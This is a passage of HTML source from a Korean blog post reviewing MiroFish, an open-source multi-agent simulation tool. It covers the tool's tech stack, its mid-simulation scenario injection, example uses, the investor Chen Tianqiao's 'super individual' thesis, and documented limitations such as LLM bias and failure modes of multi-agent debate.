&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GitHub:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/camel-ai/oasis&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;camel-ai/oasis&lt;/a&gt; &amp;mdash; 3,400 스타 (2026년 3월 18일 기준), Apache 2.0&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2411.11581&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2411.11581&lt;/a&gt;, &quot;OASIS: Open Agent Social Interaction Simulations with One Million Agents&quot;, 2024년 11월)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기술 스택 정리&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;컴포넌트&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기술&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;백엔드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Python 3.11-3.12, Flask Blueprints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프론트엔드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Vue.js 3 + Vite 7, Node.js 18+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;시뮬레이션 엔진&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;OASIS (CAMEL-AI)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;지식 그래프&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Zep Cloud 기반 엔터티-관계 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;에이전트 메모리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Zep Cloud (장기 기억 관리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;LLM&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;OpenAI SDK 호환 API (Qwen-Plus 권장)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인프라&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Docker, Docker Compose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;패키지 관리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;uv (Python), npm (Node)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: God's Eye View --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. God's Eye View: 시뮬레이션 중 변수 주입&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish의 가장 흥미로운 기능은 &lt;b&gt;&quot;신의 눈(God's Eye View)&quot;&lt;/b&gt;이다. 시뮬레이션이 돌아가는 &lt;b&gt;중간에 새로운 변수를 주입&lt;/b&gt;할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;만약 미국이 관세를 올리면?&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;만약 CEO가 갑자기 사임하면?&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;만약 경쟁사가 먼저 제품을 출시하면?&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;만약 금리를 0.5%p 인상하면?&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;변수를 주입하면 수천 명의 가상 인간이 &lt;b&gt;실시간으로 반응&lt;/b&gt;한다. 여론이 바뀌고, 새로운 연합이 생기고, 예상 못 한 패턴이 나타난다. 현실에서는 &quot;미리 실험해볼 수 없는&quot; What-if 시나리오를 디지털 세계에서 반복 실행할 수 있다는 것이 핵심 가치이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 예측이 아니라 시나리오 탐색&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish 팀에서도 강조하는 부분이다. 이 도구는 &lt;b&gt;&quot;정확한 답을 주는 예측기&quot;가 아니라, &quot;놓칠 수 있는 가능성을 표면화해주는 시나리오 탐색 도구&quot;&lt;/b&gt;로 보는 것이 적절하다. 시뮬레이션 결과를 실제 결과와 비교한 벤치마크는 아직 공개되지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 실제 사용 사례 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 실제 사용 사례&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;홍루몽: 200년 된 문학 미스터리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;중국 4대 고전소설 &lt;b&gt;홍루몽&lt;/b&gt;의 원작자 조설근이 쓴 것은 80회까지다. 나머지 40회는 다른 사람이 이어 썼으며, &quot;진짜 결말은 뭐였을까&quot;가 200년 넘게 논쟁거리다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish에 앞 80회를 통째로 입력했다. 등장인물마다 원작의 성격을 반영한 가상 인간을 생성하고 시뮬레이션을 돌려, 잃어버린 결말의 여러 가능성을 도출했다. 해당 빌리빌리 데모 영상은 &lt;b&gt;21만 뷰 이상&lt;/b&gt;(2026년 3월 기준)을 기록했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.bilibili.com/video/BV1cPk3BBExq/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bilibili 홍루몽 데모&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;금융 시장 시뮬레이션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;부정적 뉴스 + 애널리스트 리포트를 시드로 입력하면, 개인 투자자&amp;middot;기관 투자자&amp;middot;금융 미디어 등 각 주체가 30일간 어떻게 차별적으로 반응하는지를 시뮬레이션한다. 합병, 금융 정책 변경, 기업 실적 발표 같은 이벤트에 따른 시장 연쇄 반응을 탐색할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가상 시나리오 예시:&lt;/b&gt; &quot;연준이 금리를 인상한다&quot;는 시드를 넣으면, 개인 투자자 에이전트 중 상당수가 매도 반응을 보이고, 기관 투자자 에이전트는 섹터별로 다른 반응을 보이며, 금융 미디어 에이전트가 이를 증폭하는 패턴이 관찰될 수 있다. 이런 역학 구조를 사전에 파악하는 것이 시뮬레이션의 가치다. (이는 가상의 예시이며, 실제 시뮬레이션 결과는 시드 자료와 에이전트 설정에 따라 달라진다.)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;검증되지 않은 트레이딩 주장에 대해&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;한 X(트위터) 사용자가 MiroFish를 Polymarket 트레이딩 봇에 연결해 338건의 거래에서 $4,266의 수익을 올렸다고 주장했다. 그러나 이는 &lt;b&gt;단일 사용자의 미검증 주장&lt;/b&gt;이며, MiroFish 팀이 공식적으로 확인하거나 재현한 결과가 아니다. 금융 투자에 MiroFish를 직접 활용하는 것은 상당한 위험이 수반된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;여론 예측&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기업의 PR 위기 대응, 마케팅 캠페인 사전 테스트, 정책 발표 전 여론 예측 등에도 활용 가능하다. 예를 들어 새로운 정책을 발표하기 전, 수천 명의 가상 시민이 어떻게 반응하는지를 미리 시뮬레이션해서 메시지 전략을 조정할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;누가 써야 하나?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish는 다음과 같은 사람에게 유용하다: &lt;b&gt;정책 분석가&lt;/b&gt;(정책 발표 전 여론 시뮬레이션), &lt;b&gt;PR/마케팅 팀&lt;/b&gt;(캠페인 사전 테스트, 위기 대응 연습), &lt;b&gt;시나리오 플래너&lt;/b&gt;(전략 기획의 What-if 분석), &lt;b&gt;연구자&lt;/b&gt;(사회 현상 시뮬레이션), &lt;b&gt;창작자&lt;/b&gt;(소설/시나리오의 캐릭터 역학 탐색). 정확한 예측이 필요한 트레이더보다는, 놓친 시나리오가 있는지 확인하고 싶은 의사결정자에게 맞는 도구다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 천톈차오와 슈퍼 개인 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이런 가능성에 가장 먼저 베팅한 사람이 있다. 중국 인터넷 산업의 전설적인 인물, 천톈차오다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 천톈차오와 &quot;슈퍼 개인&quot; 시대&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;천톈차오는 누구인가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;천톈차오&lt;/b&gt;는 1999년 상하이에서 $60,000로 &lt;b&gt;성다(Shanda)&lt;/b&gt;를 창업했다. 2001년 한국 게임 '미르의 전설 2' 중국 판권을 마지막 $300,000으로 구매한 것이 대박을 쳐서, 2004년 31세에 후룬 부호 리스트 2위에 올랐다. 당시 성다는 시가총액 기준 중국 최대 인터넷 기업이었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2012년 성다를 비공개 기업으로 전환한 뒤, 글로벌 투자 회사로 변신시켰다. 미국 실리콘밸리(멘로파크)에 거주하며, 뇌과학 연구에 &lt;b&gt;10억 달러&lt;/b&gt;를 기부하고, 2025년에는 AI 연구에도 대규모 투자를 확대하고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://en.wikipedia.org/wiki/Chen_Tianqiao&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wikipedia&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.shanda.com/team/tianqiao-chen/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Shanda 공식 프로필&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;슈퍼 개인 이론&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;천톈차오는 2025~2026년 사이 &lt;b&gt;&quot;관리학의 황혼과 지능의 여명 &amp;mdash; 기업의 생물학적 유전자를 다시 쓰다&quot;&lt;/b&gt;라는 에세이를 발표해 큰 반향을 일으켰다. 이 글의 핵심 주제가 바로 &quot;슈퍼 개인&quot;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 주장:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;전통 경영학은 인간의 인지적 한계를 보정하는 &quot;교정 시스템&quot;이다. AI 에이전트가 실행을 대신하면 이 시스템의 근거가 무너진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;슈퍼 개인&lt;/b&gt;은 만능인이 아니다. &quot;의지(Will)&quot;와 &quot;신용(Credit)&quot;으로 세계 최고의 외부 두뇌를 집결시키는 &quot;궁극의 지렛대 사용자&quot;다. 쉽게 말해, 한 사람이 AI 에이전트 수천 개를 지휘해서 기업 하나 분량의 일을 해내는 것이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;슈퍼 개인이 하는 일은 두 가지뿐: &lt;b&gt;(1) 대담한 전략적 선택(Prompt)&lt;/b&gt;, &lt;b&gt;(2) 전적인 책임(Ownership)&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;공식: &lt;b&gt;책임 = 지렛대 받침점, AI 실행 = 팔 길이, 인간의 선택 = 가해지는 힘&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;궈항장이 혼자서 MiroFish를 만들 수 있었던 것은 CAMEL-AI/OASIS라는 &quot;외부 두뇌&quot;를 지렛대로 사용했기 때문이다. 이것이 바로 천톈차오가 말하는 슈퍼 개인의 구조다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.eet-china.com/mp/a464677.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;EET-China 원문&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.tmtpost.com/7790438.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;타이미디어(TMTPost)&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;24시간 만에 결정된 투자&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;천톈차오는 BettaFish가 GitHub 트렌딩에 오른 것을 보고 궈항장을 인턴으로 초빙했다. &quot;하고 싶은 거 해봐&quot;라고 자유를 줬고, 궈항장은 10일 만에 MiroFish를 완성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;완성한 그날 밤, 데모 영상을 촬영해서 천톈차오에게 보여줬다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;24시간 안에 3,000만 위안(약 60억 원) 투자가 결정&lt;/b&gt;&lt;/span&gt;되었다. 인턴이 하룻밤 만에 CEO가 된 것이다. MiroFish 프로젝트는 현재 성다그룹의 전략적 지원과 인큐베이션 아래 운영되고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://eu.36kr.com/en/p/3713983582662788&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;36kr&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.panewslab.com/en/articles/019cf53a-ca7c-7159-9fbc-40859cdfa108&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PANews&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://en.tmtpost.com/post/7905996&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TMTPost&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;궈항장을 보는 천톈차오의 시각&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;이 새로운 AI 시대에, 이런 젊은 AI 인재들의 성공을 내 자신의 재도약의 가장 중요한 지표로 삼겠다.&quot;&lt;br /&gt;천톈차오가 약 60억 원(3,000만 위안)을 건 건 소프트웨어가 아니라, &lt;b&gt;&quot;슈퍼 개인의 시대가 이미 시작됐다&quot;는 믿음&lt;/b&gt;에 건 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 한계점 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 한계점과 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish의 가능성을 제대로 보려면 한계도 같이 봐야 한다. 학술 논문에서 밝혀진 구조적 문제와 실무적 제약을 정리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;학술적으로 밝혀진 한계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. LLM 편향의 유전&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;EMNLP 2024에서 발표된 &quot;Systematic Biases in LLM Simulations of Debates&quot; 논문에 따르면, LLM 에이전트는 어떤 정치적 입장을 부여받든 &lt;b&gt;모델 자체의 내재된 사회적 편향에 수렴&lt;/b&gt;한다. Mistral 7B, Solar 10.7B, Instruct-GPT를 테스트한 결과, 테스트한 4개 주제 중 3개에서 민주당(진보적) 관점으로 수렴하는 경향이 관찰되었다. 즉, 에이전트의 다양성이 충분하지 않을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://aclanthology.org/2024.emnlp-main.16/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ACL Anthology - EMNLP 2024&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 군중 행동과 다수결의 횡포&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;멀티 에이전트 토론의 실패 모드를 분석한 여러 연구들에 따르면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;사고의 퇴화(Degeneration of Thought):&lt;/b&gt; 에이전트들이 초기의 그럴듯하지만 틀린 추론 경로에 집단적으로 갇힘&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;다수결의 횡포(Tyranny of the Majority):&lt;/b&gt; 다수가 같은 답을 제시하면 소수 에이전트도 동조하여 에코 챔버가 형성됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;과잉 확신 합의(Overconfident Consensus):&lt;/b&gt; 비슷한 능력의 모델을 사용하면 정적인 토론으로 다수 의견에 수렴&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;약한 에이전트의 오염(Weaker Agent Contamination):&lt;/b&gt; 성능 낮은 에이전트가 올바른 답을 오염시킬 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2503.13657&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2503.13657&lt;/a&gt; &quot;Why Do Multi-Agent LLM Systems Fail?&quot;, arXiv 2025; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2305.19118&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2305.19118&lt;/a&gt; &quot;Encouraging Divergent Thinking in Large Language Models through Multi-Agent Debate&quot;, EMNLP 2024 등 다수 논문)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 분포의 협소함과 취약 집단 과소대표&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2024년 12월 발표된 서베이 논문 &quot;From Individual to Society&quot;에 따르면, LLM은 &lt;b&gt;부유하고, 젊고, 정치적으로 진보적인 WEIRD 국가 개인&lt;/b&gt;의 의견을 과잉 대표한다. 고령자, 소수민족, 비서구권 문화는 훈련 데이터에 과소 대표되어 해당 집단의 시뮬레이션이 신뢰하기 어렵다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2412.03563&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2412.03563&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실무적 한계&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;한계&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;벤치마크 부재&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;시뮬레이션 결과를 실제 결과와 비교한 검증 데이터가 공개되지 않았다. 데모는 &quot;이런 게 된다&quot;는 시연이지, &quot;이게 맞다&quot;는 증거가 아니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;API 비용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;소규모(200 에이전트, 15라운드): ~$5. 일반적(800-1,200 에이전트, 30-50라운드): $5-25. 대규모 시뮬레이션은 상당한 비용이 발생한다. README에서도 &quot;소모가 크니 주의하라&quot;고 경고하고, 첫 시도는 40라운드 미만을 권장한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;솔로 개발&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;219개 커밋 중 218개가 1인 기여. 32,700 스타에 비해 장기 유지보수성과 코드 품질에 대한 물음이 있다. 다만 최근 보안 강화 PR(#228-232)을 통해 XSS 방지, path traversal 차단, Docker 보안 강화, traceback 노출 제거 등이 이루어지며 성숙도가 개선되고 있다. 현재 v0.1.2의 초기 단계다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;학술 논문 부재&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;기반 기술인 CAMEL-AI(NeurIPS 2023)와 OASIS(arXiv 2024)는 학술적으로 검증되었으나, MiroFish 자체의 피어리뷰 논문은 없다.&lt;/td&gt;
&lt;/tr&gt;
